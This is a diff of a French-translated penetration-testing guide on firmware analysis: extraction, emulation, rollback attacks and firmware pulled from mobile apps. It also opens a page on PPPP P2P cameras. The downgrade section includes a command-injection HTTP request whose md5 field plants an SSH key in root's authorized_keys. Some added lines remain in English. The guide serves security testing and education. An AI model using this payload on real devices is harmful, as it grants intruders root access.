|
||||
|
||||
**La collecte d'informations** est une étape initiale cruciale pour comprendre la composition d'un appareil et les technologies qu'il utilise. Ce processus implique la collecte de données sur :
|
||||
La **collecte d'informations** est une étape initiale cruciale pour comprendre la composition d'un appareil et les technologies qu'il utilise. Ce processus implique la collecte de données sur :
|
||||
|
||||
- L'architecture CPU et le système d'exploitation qu'il utilise
|
||||
- L'architecture CPU et le système d'exploitation qu'il exécute
|
||||
- Les spécificités du bootloader
|
||||
- La disposition matérielle et les fiches techniques
|
||||
- Les métriques de code et les emplacements source
|
||||
- La disposition hardware et les datasheets
|
||||
- Les métriques de la codebase et les emplacements des sources
|
||||
- Les bibliothèques externes et les types de licences
|
||||
- Les historiques de mise à jour et les certifications réglementaires
|
||||
- Les diagrammes architecturaux et de flux
|
||||
- Les diagrammes d'architecture et de flux
|
||||
- Les évaluations de sécurité et les vulnérabilités identifiées
|
||||
|
||||
À cette fin, les outils de **renseignement open-source (OSINT)** sont inestimables, tout comme l'analyse de tout composant logiciel open-source disponible par le biais de processus de révision manuels et automatisés. Des outils comme [Coverity Scan](https://scan.coverity.com) et [Semmle’s LGTM](https://lgtm.com/#explore) offrent une analyse statique gratuite qui peut être exploitée pour trouver des problèmes potentiels.
|
||||
À cet effet, les outils d’**open-source intelligence (OSINT)** sont précieux, tout comme l'analyse des composants logiciels open-source disponibles via des revues manuelles et automatisées. Des outils comme [Coverity Scan](https://scan.coverity.com) et [Semmle’s LGTM](https://lgtm.com/#explore) offrent une analyse statique gratuite qui peut être exploitée pour trouver des problèmes potentiels.
|
||||
|
||||
## **Acquisition du firmware**
|
||||
|
||||
L'obtention du firmware peut être abordée par divers moyens, chacun ayant son propre niveau de complexité :
|
||||
Obtenir le firmware peut se faire par diverses méthodes, chacune avec son niveau de complexité :
|
||||
|
||||
- **Directement** à partir de la source (développeurs, fabricants)
|
||||
- **En le construisant** à partir des instructions fournies
|
||||
- **En le téléchargeant** depuis des sites de support officiels
|
||||
- En utilisant des requêtes **Google dork** pour trouver des fichiers de firmware hébergés
|
||||
- Accéder au **stockage cloud** directement, avec des outils comme [S3Scanner](https://github.com/sa7mon/S3Scanner)
|
||||
- Intercepter les **mises à jour** via des techniques de l'homme du milieu
|
||||
- **Extraire** depuis l'appareil via des connexions comme **UART**, **JTAG** ou **PICit**
|
||||
- **Sniffer** les requêtes de mise à jour dans la communication de l'appareil
|
||||
- Identifier et utiliser des **points de terminaison de mise à jour codés en dur**
|
||||
- **Dumping** depuis le bootloader ou le réseau
|
||||
- **Retirer et lire** la puce de stockage, lorsque tout le reste échoue, en utilisant des outils matériels appropriés
|
||||
- **Directement** depuis la source (développeurs, fabricants)
|
||||
- **Le construire** à partir des instructions fournies
|
||||
- **Le télécharger** depuis les sites de support officiels
|
||||
- Utiliser des requêtes **Google dork** pour trouver des fichiers firmware hébergés
|
||||
- Accéder directement au **cloud storage**, avec des outils comme [S3Scanner](https://github.com/sa7mon/S3Scanner)
|
||||
- Intercepter les **updates** via des techniques man-in-the-middle
|
||||
- **Extraire** depuis l'appareil via des connexions comme **UART**, **JTAG**, ou **PICit**
|
||||
- **Sniffer** les requêtes de mise à jour dans les communications de l'appareil
|
||||
- Identifier et utiliser des **endpoints de mise à jour hardcodés**
|
||||
- **Dumper** depuis le bootloader ou le réseau
|
||||
- **Retirer et lire** la puce de stockage, quand tout échoue, en utilisant des outils hardware appropriés
|
||||
|
||||
## Analyser le firmware
|
||||
## Analyse du firmware
|
||||
|
||||
Maintenant que vous **avez le firmware**, vous devez extraire des informations à son sujet pour savoir comment le traiter. Différents outils que vous pouvez utiliser pour cela :
|
||||
Maintenant que vous **avez le firmware**, vous devez extraire des informations le concernant pour savoir comment l'aborder. Différents outils que vous pouvez utiliser pour cela :
|
||||
```bash
|
||||
file <bin>
|
||||
strings -n8 <bin>
|
||||
@ -54,9 +60,10 @@ hexdump -C -n 512 <bin> > hexdump.out
|
||||
hexdump -C <bin> | head # might find signatures in header
|
||||
fdisk -lu <bin> #lists a drives partition and filesystems if multiple
|
||||
```
|
||||
Si vous ne trouvez pas grand-chose avec ces outils, vérifiez l'**entropie** de l'image avec `binwalk -E <bin>`, si l'entropie est faible, il est peu probable qu'elle soit chiffrée. Si l'entropie est élevée, il est probable qu'elle soit chiffrée (ou compressée d'une certaine manière).
|
||||
Si vous ne trouvez pas grand-chose avec ces outils, vérifiez l'**entropie** de l'image avec `binwalk -E <bin>` ; si l'entropie est faible, il est peu probable qu'elle soit chiffrée. Si l'entropie est élevée, il est probable qu'elle soit chiffrée (ou compressée d'une manière ou d'une autre).
|
||||
|
||||
De plus, vous pouvez utiliser ces outils pour extraire les **fichiers embarqués dans le firmware** :
|
||||
|
||||
De plus, vous pouvez utiliser ces outils pour extraire des **fichiers intégrés dans le firmware** :
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
|
||||
@ -64,14 +71,14 @@ De plus, vous pouvez utiliser ces outils pour extraire des **fichiers intégrés
|
||||
|
||||
Ou [**binvis.io**](https://binvis.io/#/) ([code](https://code.google.com/archive/p/binvis/)) pour inspecter le fichier.
|
||||
|
||||
### Récupération du Système de Fichiers
|
||||
### Récupération du système de fichiers
|
||||
|
||||
Avec les outils commentés précédemment comme `binwalk -ev <bin>`, vous devriez avoir pu **extraire le système de fichiers**.\
|
||||
Avec les outils mentionnés précédemment comme `binwalk -ev <bin>` vous devriez avoir pu **extraire le système de fichiers**.\
|
||||
Binwalk l'extrait généralement dans un **dossier nommé selon le type de système de fichiers**, qui est généralement l'un des suivants : squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
|
||||
|
||||
#### Extraction Manuelle du Système de Fichiers
|
||||
#### Extraction manuelle du système de fichiers
|
||||
|
||||
Parfois, binwalk **n'aura pas le byte magique du système de fichiers dans ses signatures**. Dans ces cas, utilisez binwalk pour **trouver l'offset du système de fichiers et extraire le système de fichiers compressé** du binaire et **extraire manuellement** le système de fichiers selon son type en suivant les étapes ci-dessous.
|
||||
Parfois, binwalk ne détectera pas **l'octet magique du système de fichiers dans ses signatures**. Dans ces cas, utilisez binwalk pour **trouver l'offset du système de fichiers et carve le système de fichiers compressé** depuis le binaire et **extraire manuellement** le système de fichiers selon son type en utilisant les étapes ci-dessous.
|
||||
```
|
||||
$ binwalk DIR850L_REVB.bin
|
||||
|
||||
@ -83,7 +90,7 @@ DECIMAL HEXADECIMAL DESCRIPTION
|
||||
1704052 0x1A0074 PackImg section delimiter tag, little endian size: 32256 bytes; big endian size: 8257536 bytes
|
||||
1704084 0x1A0094 Squashfs filesystem, little endian, version 4.0, compression:lzma, size: 8256900 bytes, 2688 inodes, blocksize: 131072 bytes, created: 2016-07-12 02:28:41
|
||||
```
|
||||
Exécutez la commande **dd** suivante pour extraire le système de fichiers Squashfs.
|
||||
Exécutez la **dd command** suivante pour extraire le système de fichiers Squashfs.
|
||||
```
|
||||
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
||||
|
||||
@ -93,7 +100,7 @@ $ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
||||
|
||||
8257536 bytes (8.3 MB, 7.9 MiB) copied, 12.5777 s, 657 kB/s
|
||||
```
|
||||
Alternativement, la commande suivante pourrait également être exécutée.
|
||||
Alternatively, the following command could also be run.
|
||||
|
||||
`$ dd if=DIR850L_REVB.bin bs=1 skip=$((0x1A0094)) of=dir.squashfs`
|
||||
|
||||
@ -101,7 +108,7 @@ Alternativement, la commande suivante pourrait également être exécutée.
|
||||
|
||||
`$ unsquashfs dir.squashfs`
|
||||
|
||||
Les fichiers seront dans le répertoire "`squashfs-root`" par la suite.
|
||||
Les fichiers se trouveront ensuite dans le répertoire `squashfs-root`.
|
||||
|
||||
- Fichiers d'archive CPIO
|
||||
|
||||
@ -117,13 +124,13 @@ Les fichiers seront dans le répertoire "`squashfs-root`" par la suite.
|
||||
|
||||
`$ ubidump.py <bin>`
|
||||
|
||||
## Analyse du Firmware
|
||||
## Analyzing Firmware
|
||||
|
||||
Une fois le firmware obtenu, il est essentiel de le disséquer pour comprendre sa structure et ses vulnérabilités potentielles. Ce processus implique l'utilisation de divers outils pour analyser et extraire des données précieuses de l'image du firmware.
|
||||
Once the firmware is obtained, it's essential to dissect it for understanding its structure and potential vulnerabilities. This process involves utilizing various tools to analyze and extract valuable data from the firmware image.
|
||||
|
||||
### Outils d'Analyse Initiale
|
||||
### Initial Analysis Tools
|
||||
|
||||
Un ensemble de commandes est fourni pour l'inspection initiale du fichier binaire (appelé `<bin>`). Ces commandes aident à identifier les types de fichiers, extraire des chaînes, analyser des données binaires et comprendre les détails de la partition et du système de fichiers :
|
||||
A set of commands is provided for initial inspection of the binary file (referred to as `<bin>`). These commands help in identifying file types, extracting strings, analyzing binary data, and understanding the partition and filesystem details:
|
||||
```bash
|
||||
file <bin>
|
||||
strings -n8 <bin>
|
||||
@ -132,51 +139,51 @@ hexdump -C -n 512 <bin> > hexdump.out
|
||||
hexdump -C <bin> | head #useful for finding signatures in the header
|
||||
fdisk -lu <bin> #lists partitions and filesystems, if there are multiple
|
||||
```
|
||||
Pour évaluer l'état de chiffrement de l'image, l'**entropie** est vérifiée avec `binwalk -E <bin>`. Une faible entropie suggère un manque de chiffrement, tandis qu'une haute entropie indique un possible chiffrement ou compression.
|
||||
Pour évaluer le statut de chiffrement de l'image, on vérifie l'**entropie** avec `binwalk -E <bin>`. Une entropie faible suggère l'absence de chiffrement, tandis qu'une entropie élevée indique un chiffrement ou une compression possible.
|
||||
|
||||
Pour extraire des **fichiers intégrés**, des outils et ressources comme la documentation **file-data-carving-recovery-tools** et **binvis.io** pour l'inspection des fichiers sont recommandés.
|
||||
Pour extraire les **fichiers intégrés**, des outils et ressources comme la documentation **file-data-carving-recovery-tools** et **binvis.io** pour l'inspection de fichiers sont recommandés.
|
||||
|
||||
### Extraction du Système de Fichiers
|
||||
### Extraction du système de fichiers
|
||||
|
||||
En utilisant `binwalk -ev <bin>`, on peut généralement extraire le système de fichiers, souvent dans un répertoire nommé d'après le type de système de fichiers (par exemple, squashfs, ubifs). Cependant, lorsque **binwalk** ne parvient pas à reconnaître le type de système de fichiers en raison de l'absence de bytes magiques, une extraction manuelle est nécessaire. Cela implique d'utiliser `binwalk` pour localiser l'offset du système de fichiers, suivi de la commande `dd` pour extraire le système de fichiers :
|
||||
En utilisant `binwalk -ev <bin>`, on peut généralement extraire le système de fichiers, souvent dans un répertoire nommé d'après le type de système de fichiers (par ex. squashfs, ubifs). Cependant, lorsque **binwalk** n'arrive pas à reconnaître le type de système de fichiers en raison de l'absence des magic bytes, une extraction manuelle est nécessaire. Cela implique d'utiliser `binwalk` pour localiser l'offset du système de fichiers, suivie de la commande `dd` pour extraire le système de fichiers :
|
||||
```bash
|
||||
$ binwalk DIR850L_REVB.bin
|
||||
|
||||
$ dd if=DIR850L_REVB.bin bs=1 skip=1704084 of=dir.squashfs
|
||||
```
|
||||
Après cela, en fonction du type de système de fichiers (par exemple, squashfs, cpio, jffs2, ubifs), différentes commandes sont utilisées pour extraire manuellement le contenu.
|
||||
Ensuite, selon le type de système de fichiers (p. ex., squashfs, cpio, jffs2, ubifs), différentes commandes sont utilisées pour extraire manuellement le contenu.
|
||||
|
||||
### Analyse du Système de Fichiers
|
||||
### Analyse du système de fichiers
|
||||
|
||||
Une fois le système de fichiers extrait, la recherche de failles de sécurité commence. Une attention particulière est portée aux démons réseau non sécurisés, aux identifiants codés en dur, aux points de terminaison API, aux fonctionnalités des serveurs de mise à jour, au code non compilé, aux scripts de démarrage et aux binaires compilés pour une analyse hors ligne.
|
||||
Une fois le système de fichiers extrait, la recherche de failles de sécurité commence. On prête attention aux network daemons non sécurisés, aux hardcoded credentials, aux API endpoints, aux fonctionnalités du serveur de mise à jour, au uncompiled code, aux startup scripts et aux compiled binaries pour analyse hors ligne.
|
||||
|
||||
**Emplacements clés** et **éléments** à inspecter incluent :
|
||||
|
||||
- **etc/shadow** et **etc/passwd** pour les identifiants utilisateurs
|
||||
- Certificats SSL et clés dans **etc/ssl**
|
||||
- Fichiers de configuration et scripts pour des vulnérabilités potentielles
|
||||
- Binaires intégrés pour une analyse plus approfondie
|
||||
- Serveurs web et binaires courants des dispositifs IoT
|
||||
- **etc/shadow** and **etc/passwd** for user credentials
|
||||
- Certificats et clés SSL dans **etc/ssl**
|
||||
- Fichiers de configuration et scripts pour identifier des vulnérabilités potentielles
|
||||
- Binaires embarqués pour une analyse plus approfondie
|
||||
- Serveurs web courants d'appareils IoT et binaires
|
||||
|
||||
Plusieurs outils aident à découvrir des informations sensibles et des vulnérabilités au sein du système de fichiers :
|
||||
Plusieurs outils aident à découvrir des informations sensibles et des vulnérabilités dans le système de fichiers :
|
||||
|
||||
- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) et [**Firmwalker**](https://github.com/craigz28/firmwalker) pour la recherche d'informations sensibles
|
||||
- [**LinPEAS**](https://github.com/carlospolop/PEASS-ng) and [**Firmwalker**](https://github.com/craigz28/firmwalker) pour la recherche d'informations sensibles
|
||||
- [**The Firmware Analysis and Comparison Tool (FACT)**](https://github.com/fkie-cad/FACT_core) pour une analyse complète du firmware
|
||||
- [**FwAnalyzer**](https://github.com/cruise-automation/fwanalyzer), [**ByteSweep**](https://gitlab.com/bytesweep/bytesweep), [**ByteSweep-go**](https://gitlab.com/bytesweep/bytesweep-go), et [**EMBA**](https://github.com/e-m-b-a/emba) pour l'analyse statique et dynamique
|
||||
|
||||
### Vérifications de Sécurité sur les Binaires Compilés
|
||||
### Vérifications de sécurité sur les binaires compilés
|
||||
|
||||
Le code source et les binaires compilés trouvés dans le système de fichiers doivent être scrutés pour détecter des vulnérabilités. Des outils comme **checksec.sh** pour les binaires Unix et **PESecurity** pour les binaires Windows aident à identifier les binaires non protégés qui pourraient être exploités.
|
||||
Le code source et les binaires compilés trouvés dans le système de fichiers doivent être examinés pour détecter des vulnérabilités. Des outils comme **checksec.sh** pour les binaires Unix et **PESecurity** pour les binaires Windows aident à identifier les binaires non protégés qui pourraient être exploités.
|
||||
|
||||
## Émulation de Firmware pour Analyse Dynamique
|
||||
## Émulation du firmware pour l'analyse dynamique
|
||||
|
||||
Le processus d'émulation de firmware permet une **analyse dynamique** soit du fonctionnement d'un dispositif, soit d'un programme individuel. Cette approche peut rencontrer des défis liés aux dépendances matérielles ou d'architecture, mais le transfert du système de fichiers racine ou de binaires spécifiques vers un dispositif avec une architecture et un ordre des octets correspondants, comme un Raspberry Pi, ou vers une machine virtuelle préconstruite, peut faciliter des tests supplémentaires.
|
||||
Le processus d'émulation du firmware permet une **analyse dynamique** du fonctionnement d'un appareil ou d'un programme individuel. Cette approche peut rencontrer des difficultés liées au matériel ou aux dépendances d'architecture, mais transférer le root filesystem ou des binaires spécifiques vers un appareil ayant la même architecture et endianness, comme un Raspberry Pi, ou vers une machine virtuelle préconstruite, peut faciliter les tests supplémentaires.
|
||||
|
||||
### Émulation de Binaires Individuels
|
||||
### Émuler des binaires individuels
|
||||
|
||||
Pour examiner des programmes uniques, il est crucial d'identifier l'ordre des octets et l'architecture CPU du programme.
|
||||
Pour examiner des programmes isolés, il est crucial d'identifier l'endianness et l'architecture CPU du programme.
|
||||
|
||||
#### Exemple avec l'Architecture MIPS
|
||||
#### Exemple avec l'architecture MIPS
|
||||
|
||||
Pour émuler un binaire d'architecture MIPS, on peut utiliser la commande :
|
||||
```bash
|
||||
@ -186,65 +193,65 @@ Et pour installer les outils d'émulation nécessaires :
|
||||
```bash
|
||||
sudo apt-get install qemu qemu-user qemu-user-static qemu-system-arm qemu-system-mips qemu-system-x86 qemu-utils
|
||||
```
|
||||
Pour MIPS (big-endian), `qemu-mips` est utilisé, et pour les binaires little-endian, `qemu-mipsel` serait le choix.
|
||||
Pour MIPS (big-endian), `qemu-mips` est utilisé, et pour les binaires little-endian, `qemu-mipsel` est le choix.
|
||||
|
||||
#### Émulation de l'architecture ARM
|
||||
|
||||
Pour les binaires ARM, le processus est similaire, avec l'émulateur `qemu-arm` utilisé pour l'émulation.
|
||||
Pour les binaires ARM, le processus est similaire, l'émulation étant assurée par `qemu-arm`.
|
||||
|
||||
### Émulation de système complet
|
||||
### Émulation système complète
|
||||
|
||||
Des outils comme [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit), et d'autres, facilitent l'émulation complète du firmware, automatisant le processus et aidant à l'analyse dynamique.
|
||||
Des outils comme [Firmadyne](https://github.com/firmadyne/firmadyne), [Firmware Analysis Toolkit](https://github.com/attify/firmware-analysis-toolkit), et d'autres, facilitent l'émulation complète du firmware, automatisent le processus et aident à l'analyse dynamique.
|
||||
|
||||
## Analyse dynamique en pratique
|
||||
|
||||
À ce stade, un environnement de dispositif réel ou émulé est utilisé pour l'analyse. Il est essentiel de maintenir un accès shell au système d'exploitation et au système de fichiers. L'émulation peut ne pas imiter parfaitement les interactions matérielles, nécessitant des redémarrages d'émulation occasionnels. L'analyse doit revisiter le système de fichiers, exploiter les pages web et services réseau exposés, et explorer les vulnérabilités du chargeur de démarrage. Les tests d'intégrité du firmware sont critiques pour identifier les vulnérabilités potentielles de porte dérobée.
|
||||
À ce stade, un environnement appareil réel ou émulé est utilisé pour l'analyse. Il est essentiel de conserver un accès shell à l'OS et au système de fichiers. L'émulation peut ne pas reproduire parfaitement les interactions matérielles, nécessitant des redémarrages d'émulation occasionnels. L'analyse doit revisiter le système de fichiers, exploiter les pages web et services réseau exposés, et examiner les vulnérabilités du bootloader. Des tests d'intégrité du firmware sont cruciaux pour identifier d'éventuelles portes dérobées.
|
||||
|
||||
## Techniques d'analyse à l'exécution
|
||||
|
||||
L'analyse à l'exécution implique d'interagir avec un processus ou un binaire dans son environnement d'exploitation, en utilisant des outils comme gdb-multiarch, Frida, et Ghidra pour définir des points d'arrêt et identifier des vulnérabilités par le biais de fuzzing et d'autres techniques.
|
||||
L'analyse à l'exécution consiste à interagir avec un process ou un binaire dans son environnement d'exécution, en utilisant des outils comme gdb-multiarch, Frida et Ghidra pour poser des breakpoints et identifier des vulnérabilités via le fuzzing et d'autres techniques.
|
||||
|
||||
## Exploitation binaire et preuve de concept
|
||||
|
||||
Développer un PoC pour les vulnérabilités identifiées nécessite une compréhension approfondie de l'architecture cible et de la programmation dans des langages de bas niveau. Les protections d'exécution binaire dans les systèmes embarqués sont rares, mais lorsqu'elles sont présentes, des techniques comme le Return Oriented Programming (ROP) peuvent être nécessaires.
|
||||
Développer un PoC pour des vulnérabilités identifiées requiert une connaissance approfondie de l'architecture cible et de la programmation en langages bas niveau. Les protections d'exécution binaire dans les systèmes embarqués sont rares, mais lorsqu'elles existent, des techniques comme Return Oriented Programming (ROP) peuvent être nécessaires.
|
||||
|
||||
## Systèmes d'exploitation préparés pour l'analyse de firmware
|
||||
|
||||
Des systèmes d'exploitation comme [AttifyOS](https://github.com/adi0x90/attifyos) et [EmbedOS](https://github.com/scriptingxss/EmbedOS) fournissent des environnements préconfigurés pour les tests de sécurité des firmwares, équipés des outils nécessaires.
|
||||
Des systèmes d'exploitation comme [AttifyOS](https://github.com/adi0x90/attifyos) et [EmbedOS](https://github.com/scriptingxss/EmbedOS) fournissent des environnements préconfigurés pour les tests de sécurité des firmware, équipés des outils nécessaires.
|
||||
|
||||
## Systèmes d'exploitation préparés pour analyser le firmware
|
||||
## OSs préparés pour analyser le firmware
|
||||
|
||||
- [**AttifyOS**](https://github.com/adi0x90/attifyos) : AttifyOS est une distribution destinée à vous aider à effectuer des évaluations de sécurité et des tests de pénétration des dispositifs Internet des objets (IoT). Elle vous fait gagner beaucoup de temps en fournissant un environnement préconfiguré avec tous les outils nécessaires chargés.
|
||||
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS) : Système d'exploitation de test de sécurité embarqué basé sur Ubuntu 18.04 préchargé avec des outils de test de sécurité des firmwares.
|
||||
- [**AttifyOS**](https://github.com/adi0x90/attifyos): AttifyOS est une distro destinée à vous aider à effectuer des security assessment et penetration testing des appareils Internet of Things (IoT). Elle vous fait gagner beaucoup de temps en fournissant un environnement pré-configuré avec tous les outils nécessaires.
|
||||
- [**EmbedOS**](https://github.com/scriptingxss/EmbedOS): Système d'exploitation pour les tests de sécurité embarquée basé sur Ubuntu 18.04, préchargé avec des outils de test de sécurité du firmware.
|
||||
|
||||
## Attaques de rétrogradation de firmware et mécanismes de mise à jour non sécurisés
|
||||
## Attaques de downgrade du firmware & mécanismes de mise à jour non sécurisés
|
||||
|
||||
Même lorsqu'un fournisseur met en œuvre des vérifications de signature cryptographique pour les images de firmware, **la protection contre le retour à une version antérieure (rétrogradation) est souvent omise**. Lorsque le chargeur de démarrage ou de récupération ne vérifie que la signature avec une clé publique intégrée mais ne compare pas la *version* (ou un compteur monotone) de l'image flashée, un attaquant peut légitimement installer un **firmware plus ancien et vulnérable qui porte toujours une signature valide** et ainsi réintroduire des vulnérabilités corrigées.
|
||||
Même lorsqu'un fournisseur implémente des vérifications de signature cryptographique pour les images firmware, **la protection contre le version rollback (downgrade) est fréquemment omise**. Lorsque le bootloader ou recovery-loader vérifie seulement la signature avec une clé publique embarquée mais ne compare pas la *version* (ou un compteur monotone) de l'image en cours de flash, un attaquant peut légitimement installer un **firmware plus ancien et vulnérable qui porte toujours une signature valide** et réintroduire ainsi des vulnérabilités corrigées.
|
||||
|
||||
Flux de travail typique de l'attaque :
|
||||
Flux d'attaque typique :
|
||||
|
||||
1. **Obtenir une image signée plus ancienne**
|
||||
* La récupérer sur le portail de téléchargement public du fournisseur, CDN ou site de support.
|
||||
* L'extraire d'applications mobiles/de bureau compagnon (par exemple, à l'intérieur d'un APK Android sous `assets/firmware/`).
|
||||
* La récupérer à partir de dépôts tiers tels que VirusTotal, archives Internet, forums, etc.
|
||||
2. **Télécharger ou servir l'image au dispositif** via n'importe quel canal de mise à jour exposé :
|
||||
* Interface Web, API d'application mobile, USB, TFTP, MQTT, etc.
|
||||
* De nombreux dispositifs IoT grand public exposent des points de terminaison HTTP(S) *non authentifiés* qui acceptent des blobs de firmware encodés en Base64, les décodent côté serveur et déclenchent la récupération/mise à jour.
|
||||
3. Après la rétrogradation, exploiter une vulnérabilité qui a été corrigée dans la version plus récente (par exemple, un filtre d'injection de commande qui a été ajouté plus tard).
|
||||
4. Optionnellement, flasher la dernière image ou désactiver les mises à jour pour éviter la détection une fois la persistance acquise.
|
||||
1. **Obtain an older signed image**
|
||||
* Récupérez-la depuis le portail de téléchargement public du fournisseur, un CDN ou le site de support.
|
||||
* Extrayez-la d'applications mobiles/desktop accompagnantes (p. ex. à l'intérieur d'un APK Android sous `assets/firmware/`).
|
||||
* Récupérez-la depuis des dépôts tiers tels que VirusTotal, des archives Internet, des forums, etc.
|
||||
2. **Upload or serve the image to the device** via any exposed update channel:
|
||||
* Web UI, mobile-app API, USB, TFTP, MQTT, etc.
|
||||
* De nombreux appareils IoT grand public exposent des endpoints HTTP(S) *unauthenticated* qui acceptent des blobs de firmware encodés en Base64, les décodent côté serveur et déclenchent la récupération/la mise à jour.
|
||||
3. Après le downgrade, exploitez une vulnérabilité qui avait été corrigée dans la version plus récente (par exemple un filtre de command-injection ajouté ultérieurement).
|
||||
4. Optionnellement, reflashez l'image la plus récente ou désactivez les mises à jour pour éviter la détection une fois la persistance établie.
|
||||
|
||||
### Exemple : Injection de commande après rétrogradation
|
||||
### Exemple : Command Injection après downgrade
|
||||
```http
|
||||
POST /check_image_and_trigger_recovery?md5=1; echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC...' >> /root/.ssh/authorized_keys HTTP/1.1
|
||||
Host: 192.168.0.1
|
||||
Content-Type: application/octet-stream
|
||||
Content-Length: 0
|
||||
```
|
||||
Dans le firmware vulnérable (rétrogradé), le paramètre `md5` est concaténé directement dans une commande shell sans assainissement, permettant l'injection de commandes arbitraires (ici – l'activation de l'accès root basé sur une clé SSH). Les versions ultérieures du firmware ont introduit un filtre de caractères de base, mais l'absence de protection contre la rétrogradation rend la correction inutile.
|
||||
Dans le firmware vulnérable (rétrogradé), le paramètre `md5` est concaténé directement dans une commande shell sans être assaini, permettant l'injection de commandes arbitraires (ici — activation d'un accès root par clé SSH). Les versions de firmware ultérieures ont introduit un filtrage basique des caractères, mais l'absence de protection contre le downgrade rend la correction caduque.
|
||||
|
||||
### Extraction de Firmware à partir d'Applications Mobiles
|
||||
### Extraction du firmware depuis les applications mobiles
|
||||
|
||||
De nombreux fournisseurs regroupent des images de firmware complètes dans leurs applications mobiles compagnon afin que l'application puisse mettre à jour l'appareil via Bluetooth/Wi-Fi. Ces paquets sont généralement stockés non chiffrés dans l'APK/APEX sous des chemins comme `assets/fw/` ou `res/raw/`. Des outils tels que `apktool`, `ghidra`, ou même un simple `unzip` vous permettent d'extraire des images signées sans toucher au matériel physique.
|
||||
De nombreux fournisseurs embarquent des images firmware complètes dans leurs applications mobiles compagnon afin que l'application puisse mettre à jour l'appareil via Bluetooth/Wi-Fi. Ces paquets sont généralement stockés en clair dans l'APK/APEX sous des chemins comme `assets/fw/` ou `res/raw/`. Des outils tels que `apktool`, `ghidra` ou même le simple `unzip` permettent d'extraire des images signées sans toucher au matériel physique.
|
||||
```
|
||||
$ apktool d vendor-app.apk -o vendor-app
|
||||
$ ls vendor-app/assets/firmware
|
||||
@ -252,17 +259,17 @@ firmware_v1.3.11.490_signed.bin
|
||||
```
|
||||
### Liste de contrôle pour évaluer la logique de mise à jour
|
||||
|
||||
* Le transport/l'authentification de l'*endpoint de mise à jour* est-il adéquatement protégé (TLS + authentification) ?
|
||||
* L'appareil compare-t-il les **numéros de version** ou un **compteur anti-rollback monotone** avant de flasher ?
|
||||
* L'image est-elle vérifiée dans une chaîne de démarrage sécurisé (par exemple, signatures vérifiées par le code ROM) ?
|
||||
* Le code en espace utilisateur effectue-t-il des vérifications supplémentaires de validité (par exemple, carte de partition autorisée, numéro de modèle) ?
|
||||
* Les flux de mise à jour *partiels* ou *de sauvegarde* réutilisent-ils la même logique de validation ?
|
||||
* Le transport/l'authentification du *update endpoint* est-il suffisamment protégé (TLS + authentication) ?
|
||||
* L'appareil compare-t-il **version numbers** ou un **monotonic anti-rollback counter** avant le flashing ?
|
||||
* L'image est-elle vérifiée dans une secure boot chain (par ex. signatures vérifiées par du ROM code) ?
|
||||
* Le userland code effectue-t-il des vérifications supplémentaires de sanity (par ex. allowed partition map, model number) ?
|
||||
* Les flux de mise à jour *partial* ou *backup* réutilisent-ils la même validation logic ?
|
||||
|
||||
> 💡 Si l'un des éléments ci-dessus est manquant, la plateforme est probablement vulnérable aux attaques de rollback.
|
||||
> 💡 Si un des points ci‑dessus manque, la plateforme est probablement vulnérable à des rollback attacks.
|
||||
|
||||
## Firmware vulnérable pour pratiquer
|
||||
## Firmware vulnérable pour s'entraîner
|
||||
|
||||
Pour pratiquer la découverte de vulnérabilités dans le firmware, utilisez les projets de firmware vulnérables suivants comme point de départ.
|
||||
Pour s'exercer à découvrir des vulnérabilités dans le firmware, utilisez les projets de firmware vulnérables suivants comme point de départ.
|
||||
|
||||
- OWASP IoTGoat
|
||||
- [https://github.com/OWASP/IoTGoat](https://github.com/OWASP/IoTGoat)
|
||||
@ -283,7 +290,7 @@ Pour pratiquer la découverte de vulnérabilités dans le firmware, utilisez les
|
||||
- [Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things](https://www.amazon.co.uk/Practical-IoT-Hacking-F-Chantzis/dp/1718500904)
|
||||
- [Exploiting zero days in abandoned hardware – Trail of Bits blog](https://blog.trailofbits.com/2025/07/25/exploiting-zero-days-in-abandoned-hardware/)
|
||||
|
||||
## Formation et Certificat
|
||||
## Formation et certifications
|
||||
|
||||
- [https://www.attify-store.com/products/offensive-iot-exploitation](https://www.attify-store.com/products/offensive-iot-exploitation)
|
||||
|
||||
|
BIN
src/images/k8studio.jpg
Normal file
BIN
src/images/k8studio.jpg
Normal file
Binary file not shown.
After Width: | Height: | Size: 6.5 KiB |
@ -0,0 +1,165 @@
|
||||
# 32100/UDP - Pentesting PPPP (CS2) P2P Caméras
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Aperçu
|
||||
|
||||
PPPP (a.k.a. “P2P”) est une pile propriétaire de connectivité d'appareils par CS2 Network largement intégrée dans des caméras IP bon marché et d'autres appareils IoT. Elle fournit des rendezvous, NAT traversal (UDP hole punching), un flux "fiable" au niveau applicatif sur UDP, et un schéma d'adressage basé sur l'ID, permettant à une application mobile/desktop d'atteindre des appareils n'importe où sur Internet en connaissant seulement l'ID de l'appareil.
|
||||
|
||||
Traits clés pertinents pour les attaquants :
|
||||
- Les appareils s'enregistrent auprès de trois serveurs de rendezvous opérés par le vendor par préfixe d'ID. Les clients interrogent les mêmes serveurs pour trouver l'adresse externe/relay de l'appareil, puis tentent le UDP hole punching. Un fallback par relay existe.
|
||||
- Le listener par défaut du serveur est joignable sur UDP/32100. Une sonde minimale "hello" suffit à fingerprint les serveurs et certains appareils.
|
||||
- Un cipher global optionnel et un mode spécial "CRCEnc" existent mais sont faibles par conception et sont typiquement désactivés dans les écosystèmes populaires (ex. LookCam).
|
||||
- Le plan de contrôle est généralement des commandes JSON sur le stream PPPP et souffre couramment d'absence d'auth et de bugs de sécurité mémoire.
|
||||
|
||||
Format d'ID d'appareil typique (famille LookCam) : PREFIX-######-CCCCC, raccourci dans les apps (ex. GHBB-000001-NRLXW → G000001NRLXW). Préfixes observés : BHCC ("hekai"), FHBB et GHBB ("mykj").
|
||||
|
||||
## Découverte et énumération
|
||||
|
||||
